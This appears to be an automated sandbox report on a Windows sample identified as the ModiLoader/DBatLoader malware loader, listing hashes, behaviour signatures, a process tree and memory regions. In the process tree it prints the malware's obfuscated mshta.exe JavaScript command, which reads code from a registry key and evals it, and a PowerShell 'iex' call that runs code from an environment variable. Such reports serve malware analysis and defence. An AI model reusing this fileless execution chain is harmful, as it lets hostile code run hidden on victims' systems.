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Analysis

  • max time kernel
    111s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/12/2024, 07:50

General

  • Target

    f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe

  • Size

    264KB

  • MD5

    cd737dd6ef2be306cf406249af91d7e0

  • SHA1

    423a4dcf14b04a60cfe3da2b6755296d71b0104a

  • SHA256

    f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70c

  • SHA512

    b13d18b5cfe8d9d0809b259e4e54083675fcd3e82065601f53bf7781d9e08f16a21044e5de275d42fdd588d593bfb1b65fc28125035a94ad486095dcb57730ed

  • SSDEEP

    6144:d02c94nYY+uUMFemOFu3Ksm2Yn+EE9j+ivEyPYxJQeyE:aSnYPweZnl+EER+iv6IeyE

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
    "C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
      "C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2024
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:f0pvB3c="T2uqfV";A83i=new%20ActiveXObject("WScript.Shell");vI0ko0="nn";E9wI5a=A83i.RegRead("HKLM\\software\\Wow6432Node\\wfX6B63M\\ZdXvJ0sy");V0DuB7Hhk="RmlI";eval(E9wI5a);JGhq4="qRAhXy";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:mxwoxj
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4280

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vojbypa0.wxd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2024-9-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/2024-3-0x0000000000400000-0x000000000043A000-memory.dmp

    Filesize

    232KB

  • memory/2024-6-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/2024-10-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/2024-4-0x0000000000400000-0x000000000043A000-memory.dmp

    Filesize

    232KB

  • memory/2024-7-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/2024-8-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/2024-11-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/2024-5-0x0000000000400000-0x000000000043A000-memory.dmp

    Filesize

    232KB

  • memory/2024-12-0x00000000008B0000-0x0000000000986000-memory.dmp

    Filesize

    856KB

  • memory/4280-17-0x0000000005910000-0x0000000005976000-memory.dmp

    Filesize

    408KB

  • memory/4280-16-0x0000000005120000-0x0000000005142000-memory.dmp

    Filesize

    136KB

  • memory/4280-15-0x0000000005270000-0x0000000005898000-memory.dmp

    Filesize

    6.2MB

  • memory/4280-18-0x0000000005980000-0x00000000059E6000-memory.dmp

    Filesize

    408KB

  • memory/4280-14-0x00000000027A0000-0x00000000027D6000-memory.dmp

    Filesize

    216KB

  • memory/4280-28-0x0000000005B60000-0x0000000005EB4000-memory.dmp

    Filesize

    3.3MB

  • memory/4280-29-0x0000000005F40000-0x0000000005F5E000-memory.dmp

    Filesize

    120KB

  • memory/4280-30-0x0000000005F80000-0x0000000005FCC000-memory.dmp

    Filesize

    304KB

  • memory/4280-31-0x00000000076B0000-0x0000000007D2A000-memory.dmp

    Filesize

    6.5MB

  • memory/4280-32-0x0000000006FF0000-0x000000000700A000-memory.dmp

    Filesize

    104KB